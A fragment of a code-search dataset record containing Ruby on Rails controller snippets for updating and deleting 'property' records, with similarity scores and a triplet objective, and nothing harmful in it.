"def update\n respond_to do |format|\n if @client_property.update(client_property_params)\n format.html { redirect_to @client_property, notice: 'Client property was successfully updated.' }\n format.json { render :show, status: :ok, location: @client_property }\n else\n format.html { render :edit }\n format.json { render json: @client_property.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @property_field = PropertyField.find(params[:id])\n\n respond_to do |format|\n if @property_field.update_attributes(params[:property_field])\n format.html { redirect_to @property_field, notice: 'Property field was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @property_field.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @property = args[:property] if args.key?(:property)\n @schema = args[:schema] if args.key?(:schema)\n end",
"def api_patch(path, data = {})\n api_request(:patch, path, :data => data)\n end",
"def update\n respond_to do |format|\n if(@property.user == current_person || current_person== current_admin)\n\n if @property.update(property_params)\n format.html { redirect_to @property, notice: 'Property was successfully updated.' }\n format.json { render :show, status: :ok, location: @property }\n else\n format.html { render :edit }\n format.json { render json: @property.errors, status: :unprocessable_entity }\n end\n\n else\n format.html { redirect_to @property, alert: 'Please update your property only.' }\n end\n end\n end",
"def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n @youtube_uri = args[:youtube_uri] if args.key?(:youtube_uri)\n end",
"def patch!\n request! :patch\n end",
"def update # PATCH\n raise NotImplementedError\n end",
"def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n @source = args[:source] if args.key?(:source)\n end",
"def update\n @property = Property.find(params[:id])\n\n respond_to do |format|\n if @property.update_attributes(params[:property])\n format.html { redirect_to [:admin, @property], notice: 'Property was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @property.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @property_owner.update(property_owner_params)\n format.html { redirect_to @property_owner, notice: 'Property owner was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @property_owner.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @contact = Contact.find(params[:contact_id])\n @property = Property.find(params[:id])\n authorize @property\n\n respond_to do |format|\n if @property.update(property_params)\n format.html { redirect_to edit_contact_path(@contact), notice: 'Property was successfully updated.' }\n format.json { redirect_to edit_contact_path(@contact), status: :ok, location: @property }\n else\n format.html { render :edit }\n format.json { render json: @property.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @id = args[:id] if args.key?(:id)\n @kind = args[:kind] if args.key?(:kind)\n @name = args[:name] if args.key?(:name)\n @starred = args[:starred] if args.key?(:starred)\n @web_properties = args[:web_properties] if args.key?(:web_properties)\n end",
"def update\n respond_to do |format|\n if @chef_property.update(chef_property_params)\n format.html { redirect_to @chef_property, notice: 'Chef property was successfully updated.' }\n format.json { render :show, status: :ok, location: @chef_property }\n else\n format.html { render :edit }\n format.json { render json: @chef_property.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @subobject_properties = args[:subobject_properties] if args.key?(:subobject_properties)\n end",
"def update!(**args)\n @subobject_properties = args[:subobject_properties] if args.key?(:subobject_properties)\n end",
"def update!(**args)\n @property_id = args[:property_id] if args.key?(:property_id)\n @value_status = args[:value_status] if args.key?(:value_status)\n end",
"def patch(path, data)\n request 'PATCH', path, body: data.to_json\n end",
"def update\n @property = Property.find(params[:id])\n\n respond_to do |format|\n if @property.update_attributes(params[:property])\n flash[:notice] = 'Property was successfully updated.'\n format.html { redirect_to admin_property_url(@property) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @property.errors.to_xml }\n end\n end\n end",
"def update\n if @property.user.id != @user.id\n redirect_to properties_path, notice:\"Not authorized\"\n end\n respond_to do |format|\n if @property.update(property_params)\n format.html { redirect_to @property, notice: 'Property was successfully updated.' }\n else\n format.html { render action: 'edit' }\n end\n end\n end",
"def update\n respond_to do |format|\n if @property.update(property_params)\n format.html { redirect_to user_path(@property.user_id) }\n else\n format.html { render :edit }\n end\n end\n end",
"def update\n @property_user = PropertyUser.find(params[:id])\n\n respond_to do |format|\n if @property_user.update_attributes(params[:property_user])\n format.html { redirect_to @property_user, notice: 'Property user was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @property_user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(url, data)\n RestClient.put url, data, :content_type => :json\nend",
"def update\n @location_property = LocationProperty.find(params[:id])\n\n respond_to do |format|\n if @location_property.update_attributes(params[:location_property])\n format.html { redirect_to @location_property, notice: 'Location property was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @location_property.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n respond_to do |format|\n if @contact_property.update(contact_property_params)\n format.html { redirect_to contact_properties_path, notice: 'Contact property was successfully updated.' }\n format.json { render :show, status: :ok, location: @contact_property }\n else\n format.html { render :edit }\n format.json { render json: @contact_property.errors, status: :unprocessable_entity }\n end\n end\n end",
"def prop_patch_node_update(path, prop_patch)\n # This should trigger a 404 if the node doesn't exist.\n node = @server.tree.node_for_path(path)\n\n node.prop_patch(prop_patch) if node.is_a?(IProperties)\n end",
"def update!(**args)\n @final_properties = args[:final_properties] if args.key?(:final_properties)\n @id = args[:id] if args.key?(:id)\n @insert_time = args[:insert_time] if args.key?(:insert_time)\n @manifest = args[:manifest] if args.key?(:manifest)\n @name = args[:name] if args.key?(:name)\n @properties = args[:properties] if args.key?(:properties)\n @type = args[:type] if args.key?(:type)\n @update = args[:update] if args.key?(:update)\n @update_time = args[:update_time] if args.key?(:update_time)\n @url = args[:url] if args.key?(:url)\n @warnings = args[:warnings] if args.key?(:warnings)\n end",
"def set_api_v1_property\n @api_v1_property = Property.find(params[:id])\n end",
"def patch(payload)\n post_like payload, Net::HTTP::Patch.new(@uri.path)\n end",
"def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n @states = args[:states] if args.key?(:states)\n end",
"def update!(**args)\n @property_name = args[:property_name] if args.key?(:property_name)\n end",
"def update!(**args)\n @property_name = args[:property_name] if args.key?(:property_name)\n end",
"def update\n respond_to do |format|\n if @r_property_definition.update(r_property_definition_params)\n format.html { redirect_to @r_property_definition, notice: 'R property definition was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @r_property_definition.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @property_closet.update(property_closet_params)\n format.html { redirect_to @property_closet, notice: 'Property closet was successfully updated.' }\n format.json { render :show, status: :ok, location: @property_closet }\n else\n format.html { render :edit }\n format.json { render json: @property_closet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch(url, payload, headers={})\n RestClient.patch url, payload, headers\n end",
"def update\n @sample_property = SampleProperty.find(params[:id])\n @sample = Sample.find(@sample_property.sample_id)\n respond_to do |format|\n if @sample_property.update_attributes(params[:sample_property])\n format.html { redirect_to project_sample_set_sample_path(params[:project_id],params[:sample_set_id],@sample), notice: 'Sample property was successfully updated.' }\n format.json { head :no_content }\n else\n flash[:error] = \"Property was not Updated: #{@sample_property.errors.messages[:error][0]}.\"\n format.html { redirect_to project_sample_set_sample_property_path(params[:project_id],params[:sample_set_id],params[:sample_id],@sample_property) }\n format.json { render json: @sample_property.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @patch = Patch.find(params[:id])\n\n respond_to do |format|\n if @patch.update_attributes(params[:patch])\n format.html { redirect_to @patch, notice: 'Patch was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @patch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch options\n rest_request({ method: :patch }.merge(options))\n end",
"def patch options\n rest_request({ method: :patch }.merge(options))\n end",
"def update\n respond_to do |format|\n if @property_attachment.update(property_attachment_params)\n format.html { redirect_to @property_attachment, notice: \"Property attachment was successfully updated.\" }\n format.json { render :show, status: :ok, location: @property_attachment }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @property_attachment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize_action_for @property, at: current_store\n\n respond_to do |format|\n if @property.update(property_params)\n track @property\n format.html { redirect_to admin_property_path(@property),\n notice: t('.notice', property: @property) }\n format.json { render :show, status: :ok, location: admin_property_path(@property) }\n else\n format.html { render :edit }\n format.json { render json: @property.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @client_id = args[:client_id] if args.key?(:client_id)\n @hashed_client_id = args[:hashed_client_id] if args.key?(:hashed_client_id)\n @kind = args[:kind] if args.key?(:kind)\n @web_property_id = args[:web_property_id] if args.key?(:web_property_id)\n end",
"def patch(patch_property_set)\r\n number_patches_applied = 0\r\n properties = get_properties\r\n patch_property_set.properties.each do |patch_properties_key, patch_properties_value|\r\n if patch_properties_value != properties[patch_properties_key] \r\n properties[patch_properties_key] = patch_properties_value\r\n number_patches_applied += 1\r\n end\r\n end\r\n save(properties)\r\n number_patches_applied\r\n end",
"def create_or_update_profile_configuration(args = {}) \n id = args['profileId']\n temp_path = \"/profiles.json/{profileId}/configuration\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"profileId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend",
"def update\n @property = Property.find(params[:id])\n unless params[:property][:photos_attributes].nil?\n params[:property][:photos_attributes].each_key { |key|\n if params[:property][:photos_attributes][key.to_sym][:remove_file] == \"1\"\n @photo = Photo.find(params[:property][:photos_attributes][key.to_sym][:id])\n @photo.remove_file!\n @photo.destroy\n params[:property][:photos_attributes].delete(key.to_sym)\n end\n }\n end\n\n respond_to do |format|\n if @property.update_attributes(params[:property])\n format.html { redirect_to [:admin, @property], notice: 'Inmueble actualizado.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @property.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @patch.update(patch_params)\n format.html { redirect_to @patch, notice: 'Patch was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @patch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch_resource(payload)\n execute(resource_path, method: :patch, payload: payload.to_json)\n end",
"def put!\n request! :put\n end",
"def update!(**args)\n @id = args[:id] if args.key?(:id)\n @internal_web_property_id = args[:internal_web_property_id] if args.key?(:internal_web_property_id)\n @kind = args[:kind] if args.key?(:kind)\n @level = args[:level] if args.key?(:level)\n @name = args[:name] if args.key?(:name)\n @profiles = args[:profiles] if args.key?(:profiles)\n @starred = args[:starred] if args.key?(:starred)\n @website_url = args[:website_url] if args.key?(:website_url)\n end",
"def update\n respond_to do |format|\n if @stolen_property.update(stolen_property_params)\n format.html { redirect_to @stolen_property, notice: 'Stolen property was successfully updated.' }\n format.json { render :show, status: :ok, location: @stolen_property }\n else\n format.html { render :edit }\n format.json { render json: @stolen_property.errors, status: :unprocessable_entity }\n end\n end\n end"
] | [
"0.7230165",
"0.6859053",
"0.6859053",
"0.6859053",
"0.6859053",
"0.6859053",
"0.66675586",
"0.66257334",
"0.6604779",
"0.6590328",
"0.65412945",
"0.6528812",
"0.6528812",
"0.65230703",
"0.6513928",
"0.65127814",
"0.6489119",
"0.6483777",
"0.6479823",
"0.64533067",
"0.64533067",
"0.64533067",
"0.6435886",
"0.6431208",
"0.6430875",
"0.63439226",
"0.63244194",
"0.6323001",
"0.6312952",
"0.6283744",
"0.6262425",
"0.6250839",
"0.62437046",
"0.6202758",
"0.62023646",
"0.6148303",
"0.6136757",
"0.612704",
"0.60894376",
"0.6085667",
"0.6084206",
"0.6080106",
"0.60715425",
"0.6070751",
"0.6069682",
"0.6052543",
"0.603323",
"0.60129887",
"0.60031533",
"0.6000306",
"0.59934384",
"0.59825814",
"0.59764063",
"0.5976108",
"0.5971137",
"0.5969616",
"0.59564406",
"0.59389657",
"0.59389657",
"0.5937339",
"0.59268475",
"0.59106207",
"0.59080994",
"0.5897117",
"0.5892743",
"0.58835405",
"0.58781964",
"0.58770454",
"0.58761686",
"0.58581454",
"0.5857912",
"0.5840726",
"0.5837149",
"0.58303064",
"0.58303064",
"0.58299875",
"0.58269906",
"0.5820587",
"0.58125424",
"0.5810932",
"0.580405",
"0.580405",
"0.5801205",
"0.57949466",
"0.57909447",
"0.57894367",
"0.57721245",
"0.5771553",
"0.57701164",
"0.57668567",
"0.5757384",
"0.575065",
"0.5738638"
] | 0.63508874 | 31 |
DELETE /properties/1 DELETE /properties/1.json | def destroy
@property.destroy
respond_to do |format|
format.html { redirect_to properties_url, notice: 'Property was successfully destroyed.' }
format.json { head :no_content }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def destroy\n #@property = Property.find(params[:id])\n @property.destroy\n\n respond_to do |format|\n format.html { redirect_to properties_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @property = Property.find(params[:id])\n @property.destroy\n\n respond_to do |format|\n format.html { redirect_to properties_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @property = Property.find(params[:id])\n @property.destroy\n\n respond_to do |format|\n format.html { redirect_to properties_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @property = Property.find(params[:id])\n @property.destroy\n\n respond_to do |format|\n format.html { redirect_to properties_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @property = Property.find(params[:id])\n @property.destroy\n\n respond_to do |format|\n format.html { redirect_to properties_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @property.destroy\n respond_to do |format|\n format.html { redirect_to properties_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @property.destroy\n respond_to do |format|\n format.html { redirect_to properties_url }\n format.json { head :no_content }\n end\n end",
"def delete_property(id)\n delete(\"/properties/#{id}\")\n end",
"def destroy\n @property.photos.delete_all\n @property.features_properties.delete_all\n @property.destroy\n respond_to do |format|\n format.html { redirect_to properties_url, notice: 'Property was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @property = Property.find(params[:id])\n @property.destroy\n\n head :no_content\n end",
"def destroy\n begin\n if params[:id]\n Property.clear(params[:id], nil, current_user.id)\n end\n render_success(\"Property deleted\")\n rescue Exception => e\n logger.error(\"Fails to execute #{request.url} : #{e.message}\")\n render_error(e.message)\n end\n end",
"def delete\n @property = Property.find(params[:id])\n end",
"def destroy\n @api_v1_property.destroy\n end",
"def destroy\n properties_delete(@property)\n @property.destroy\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { render json: {success: true} }\n end\n end",
"def destroy\n @property.destroy\n respond_to do |format|\n format.html { redirect_to my_properties_properties_url , notice: \"Property was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @property = Property.find(params[:id])\n @property.destroy\n\n respond_to do |format|\n format.html { redirect_to(properties_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @prop = Prop.find(params[:id])\n @prop.destroy\n\n respond_to do |format|\n format.html { redirect_to props_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n #@property = Property.find(params[:id])\n @property.destroy\n\n respond_to do |format|\n format.html { redirect_to(properties_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @property.destroy\n respond_to do |format|\n format.html { redirect_to properties_url, notice: \"Property was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @property.destroy\n respond_to do |format|\n format.html { redirect_to runner_home_path, notice: 'Property was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @property = Property.find(params[:id])\n @property.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_properties_url }\n format.xml { head :ok }\n end\n end",
"def destroy\n @property.destroy\n\n head :no_content\n end",
"def delete_property property_name\n\n begin\n raise 'Property name not specified.' if property_name.empty?\n\n str_uri = $product_uri + '/words/' + @filename + '/documentProperties/' + property_name\n signed_str_uri = Aspose::Cloud::Common::Utils.sign(str_uri)\n\n response_stream = RestClient.delete(signed_str_uri, {:accept => 'application/json'})\n\n stream_hash = JSON.parse(response_stream)\n stream_hash['Code'] == 200\n\n rescue Exception => e\n print e\n end\n\n end",
"def destroy\n @property.destroy\n respond_to do |format|\n format.html { redirect_to properties_url }\n format.json { head :no_content }\n format.js { render nothing: true}\n end\n end",
"def destroy\n @property.destroy\n respond_to do |format|\n format.html { redirect_to propertys_url, notice: 'Property was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @property_detail.destroy\n respond_to do |format|\n format.html { redirect_to property_details_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @property = Property.find(params[:id])\n @property.destroy\n\n respond_to do |format|\n format.html { redirect_to category_sub_category_item_properties_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n onevnet('delete', resource[:name])\n @property_hash.clear\n end",
"def destroy\n onetemplate('delete', resource[:name])\n @property_hash.clear\n end",
"def del_property( propname )\n resp = conn.delete('/users/'+name+'/props/'+propname+'/')\n \n case resp.code.to_i\n when 204\n return\n when 404\n case resp.header['resource-type']\n when 'user'\n raise RestAuthUserNotFound.new( resp )\n when 'property'\n raise RestAuthPropertyNotFound.new( resp )\n else\n raise RestAuthBadResponse.new( resp, \"Received 404 without Resource-Type header\" )\n end\n else\n raise RestAuthUnknownStatus.new( resp )\n end\n end",
"def destroy\n @property = Property.find(params[:id])\n @property.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_properties_url }\n format.json { head :ok }\n end\n end",
"def delete_property property_name\n \n begin\n \n if @filename == \"\"\n raise \"Base file not specified.\"\n end\n \n if property_name == \"\"\n raise \"Property name not specified.\"\n end\n \n str_uri = $productURI + \"/words/\" + @filename + \"/documentProperties/\" + property_name\n signed_str_uri = Common::Utils.sign(str_uri)\n \n response_stream = RestClient.delete(signed_str_uri,{:accept=>\"application/json\"})\n \n stream_hash = JSON.parse(response_stream)\n \n if(stream_hash[\"Code\"] == 200)\n return true\n else\n return false\n end\n \n rescue Exception=>e\n print e\n end\n \n end",
"def destroy\n @request_property.destroy\n respond_to do |format|\n format.html { redirect_to request_properties_url, notice: 'Request property was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client_property.destroy\n respond_to do |format|\n format.html { redirect_to client_properties_url, notice: 'Client property was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @quick_property = QuickProperty.find(params[:id])\n @quick_property.destroy\n\n respond_to do |format|\n format.html { redirect_to quick_properties_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @prop.destroy\n respond_to do |format|\n format.html { redirect_to props_url, notice: \"Prop was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @property.destroy\n respond_to do |format|\n format.html { redirect_to after_destroy_path, notice: 'Property was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @property = Property.find(params[:id]).destroy\n redirect_to(:action => 'index')\n end",
"def destroy\n @prop = Prop.find(params[:id])\n @prop.destroy\n\n respond_to do |format|\n format.html { redirect_to(props_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @property.destroy\n respond_to do |format|\n format.html { redirect_to properties_url, notice: \"物件情報を消去しました\" }\n format.json { head :no_content }\n end\n end",
"def delete_property property_name\n \n begin\n \n if @filename == ''\n raise 'Base file not specified.'\n end\n \n if property_name == ''\n raise 'Property name not specified.'\n end\n \n str_uri = $product_uri + '/slides/' + @filename + '/documentProperties/' + property_name\n signed_str_uri = Aspose::Cloud::Common::Utils.sign(str_uri)\n response_stream = RestClient.delete(signed_str_uri,{:accept=>'application/json'})\n \n stream_hash = JSON.parse(response_stream)\n \n if(stream_hash['Code'] == 200)\n return true\n else\n return false\n end\n \n rescue Exception=>e\n print e\n end\n \n end",
"def destroy\n @location_property = LocationProperty.find(params[:id])\n @location_property.destroy\n\n respond_to do |format|\n format.html { redirect_to location_properties_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @property_field = PropertyField.find(params[:id])\n @property_field.destroy\n\n respond_to do |format|\n format.html { redirect_to property_fields_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n authorize_action_for @property, at: current_store\n track @property\n @property.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_properties_path,\n notice: t('.notice', property: @property) }\n format.json { head :no_content }\n end\n end",
"def destroy\n onesecgroup('delete', resource[:name])\n @property_hash.clear\n end",
"def destroy\n @property = Property.find(params[:property_id])\n @prenotation.destroy\n respond_to do |format|\n format.html { redirect_to property_prenotations_path(@property), notice: 'Prenotazione eliminata con successo.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @chef_property.destroy\n respond_to do |format|\n format.html { redirect_to chef_properties_url, notice: 'Chef property was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @contact = Contact.find(params[:contact_id])\n @property = Property.find(params[:id])\n authorize @property\n @property.destroy\n respond_to do |format|\n format.html { redirect_to edit_contact_path(@contact), notice: 'Property was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @property.destroy\n\n respond_to do |format|\n format.html { redirect_to :back, alert: @property.errors[:base][0] }\n format.json { head :ok }\n end\n end",
"def destroy\n @sample_property = SampleProperty.find(params[:id])\n @sample = Sample.find(@sample_property.sample_id)\n @sample_property.destroy\n\n respond_to do |format|\n format.html { redirect_to project_sample_set_sample_path(params[:project_id],params[:sample_set_id],@sample) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_property.destroy\n respond_to do |format|\n format.html { redirect_to line_properties_url, notice: 'Line property was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n if @property.user.id != @user.id\n redirect_to properties_path, notice:\"Not authorized\"\n end\n @property.destroy\n respond_to do |format|\n format.html { redirect_to properties_url }\n end\n end",
"def destroy\n @users_property.destroy\n respond_to do |format|\n format.html { redirect_to users_properties_url, notice: 'Users property was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @property_attachment.destroy\n respond_to do |format|\n format.html { redirect_to property_attachments_url, notice: \"Property attachment was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @property_note.destroy\n respond_to do |format|\n format.html { redirect_to property_notes_url, notice: t('.notice') }\n format.json { head :no_content }\n end\n end",
"def destroy\n @stolen_property.destroy\n respond_to do |format|\n format.html { redirect_to stolen_properties_url, notice: 'Stolen property was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @r_property_definition.destroy\n respond_to do |format|\n format.html { redirect_to r_property_definitions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @property_owner.destroy\n respond_to do |format|\n format.html { redirect_to property_owners_url }\n format.json { head :no_content }\n end\n end",
"def delete(*rest) end",
"def destroy\n @auth_property.destroy\n respond_to do |format|\n format.html { redirect_to owner_token_auth_properties_path [@owner, @token], notice: 'Auth property was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete path\n make_request(path, \"delete\", {})\n end",
"def destroy\n @sys_property.destroy\n respond_to do |format|\n format.html { redirect_to sys_properties_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @property = Property.find(params[:id])\n property_address = @property.address\n @property.destroy\n\n respond_to do |format|\n format.html do\n flash[:success] = \"El inmueble ubicado en #{property_address.upcase} fue eliminado correctamente.\" \n redirect_to admin_root_path(:anchor => 'properties')\n end\n end\n end",
"def destroy\n @horizontal_property.destroy\n respond_to do |format|\n format.html { redirect_to act_path(@act), notice: 'Horizontal property was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete_properties(name, opts = {})\n @api_client.request_token_if_needed\n data, _status_code, _headers = delete_properties_with_http_info(name, opts)\n rescue ApiError => error\n if error.code == 401\n @api_client.request_token_if_needed\n data, _status_code, _headers = delete_properties_with_http_info(name, opts)\n else\n raise\n end\n return data\n end",
"def destroy\n @checklist_property = ChecklistProperty.find(params[:id])\n @checklist_property.destroy\n\n respond_to do |format|\n format.html { redirect_to checklists_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @property_user = PropertyUser.find(params[:id])\n @property_user.destroy\n\n respond_to do |format|\n format.html { redirect_to property_users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @property_heating.destroy\n respond_to do |format|\n format.html { redirect_to property_heatings_url, notice: 'Property heating was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @line_property_item.destroy\n respond_to do |format|\n format.html { redirect_to line_property_items_url, notice: 'Line property item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @property.destroy\n respond_to do |format|\n format.html { redirect_to user_path(@property.user_id) }\n end\n end",
"def delete_json(path)\n url = [base_url, path].join\n resp = HTTParty.delete(url, headers: standard_headers)\n parse_json(url, resp)\n end",
"def destroy\n @contact_property.destroy\n respond_to do |format|\n format.html { redirect_to contact_properties_url, notice: 'Contact property was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n if !check_permissions?(session[:user_type], \"checkin_applicant\")\n redirect_to root_path\n end\n @property.destroy\n respond_to do |format|\n format.html { redirect_to properties_url, notice: \"Property was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy_many\n @properties = Property.where(id: params[:ids])\n @properties.destroy_all\n respond_to do |format|\n format.html { redirect_to after_destroy_path, notice: 'Properties where successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @property_closet.destroy\n respond_to do |format|\n format.html { redirect_to property_closets_url, notice: 'Property closet was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete(path)\n RestClient.delete request_base+path\n end",
"def destroy\n @propose = Propose.find(params[:id])\n @propose.destroy\n\n respond_to do |format|\n format.html { redirect_to proposes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @owner_property.destroy\n respond_to do |format|\n format.html { redirect_to owner_owner_properties_url(@owner), notice: 'Owner property was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @property_image = PropertyImage.find(params[:id])\n @property_image.destroy\n\n respond_to do |format|\n format.html { redirect_to property_images_url }\n format.json { head :no_content }\n end\n end",
"def destroy(params = {})\n client.delete(\"#{endpoint(params)}/#{attributes[:id]}\")\n end",
"def destroy\n @prop_value = PropValue.find(params[:id])\n @prop_value.destroy\n\n respond_to do |format|\n format.html { redirect_to(prop_values_url) }\n format.xml { head :ok }\n end\n end",
"def delete(path, params)\n parse_response @client[path].delete(:params => params)\n end",
"def destroy\n @property_service_type.destroy\n respond_to do |format|\n format.html { redirect_to property_service_types_url, notice: 'Property service type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @property = Property.find(params[:id].to_i) rescue nil\n respond_to do |format|\n if @property\n success = @property.try(:deactivate!) rescue false\n \n if success\n format.xml { head :accepted }\n format.json { head :accepted }\n else\n format.xml { render :xml => property_presenter, :status => :precondition_failed }\n format.json { render :json => property_presenter, :status => :precondition_failed }\n end\n else\n format.xml { head :not_found }\n format.json { head :not_found }\n end\n end\n end",
"def delete endpoint\n do_request :delete, endpoint\n end",
"def destroy\n @property_toilet_artifact.destroy\n respond_to do |format|\n format.html { redirect_to property_toilet_artifacts_url, notice: 'Property toilet artifact was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @property_picture = PropertyPicture.find(params[:id])\n @property_picture.destroy\n\n respond_to do |format|\n format.html { redirect_to property_pictures_url }\n format.json { head :no_content }\n end\n end",
"def delete\n render json: Post.delete(params[\"id\"])\n end",
"def destroy\n @component_prop.destroy\n respond_to do |format|\n format.html { redirect_to component_props_url, notice: 'Component prop was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n render json: Item.delete(params[\"id\"])\n end"
] | [
"0.7364613",
"0.73575217",
"0.73575217",
"0.73561615",
"0.73561615",
"0.73491865",
"0.73491865",
"0.7317726",
"0.7288179",
"0.727353",
"0.7259411",
"0.7255245",
"0.72499126",
"0.7248999",
"0.72075725",
"0.7179407",
"0.71657205",
"0.7145741",
"0.71061295",
"0.7086546",
"0.7081039",
"0.7078751",
"0.70746523",
"0.70622784",
"0.70573986",
"0.7027524",
"0.70243853",
"0.7011602",
"0.7008798",
"0.69632506",
"0.6958396",
"0.6956685",
"0.6949512",
"0.6934311",
"0.6927564",
"0.6915517",
"0.6913269",
"0.6878975",
"0.6869542",
"0.68214214",
"0.68098414",
"0.67935514",
"0.6786618",
"0.67614657",
"0.67589116",
"0.67570007",
"0.67345506",
"0.67139906",
"0.66929305",
"0.6665738",
"0.666376",
"0.6643128",
"0.6639561",
"0.66387105",
"0.65802586",
"0.65793675",
"0.65658665",
"0.6562217",
"0.65543944",
"0.65451974",
"0.6539791",
"0.65361685",
"0.65210307",
"0.65151215",
"0.650864",
"0.6506235",
"0.65051055",
"0.65038985",
"0.64994854",
"0.6487326",
"0.6474795",
"0.64714885",
"0.64713573",
"0.6468518",
"0.64681435",
"0.6466824",
"0.64542174",
"0.64419425",
"0.64153636",
"0.64064294",
"0.6400464",
"0.6395498",
"0.639447",
"0.637895",
"0.6341043",
"0.63305557",
"0.6326944",
"0.6316105",
"0.63030213",
"0.6293381",
"0.6261906"
] | 0.711052 | 27 |
Use callbacks to share common setup or constraints between actions. | def set_property
@property = Property.find(params[:id])
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
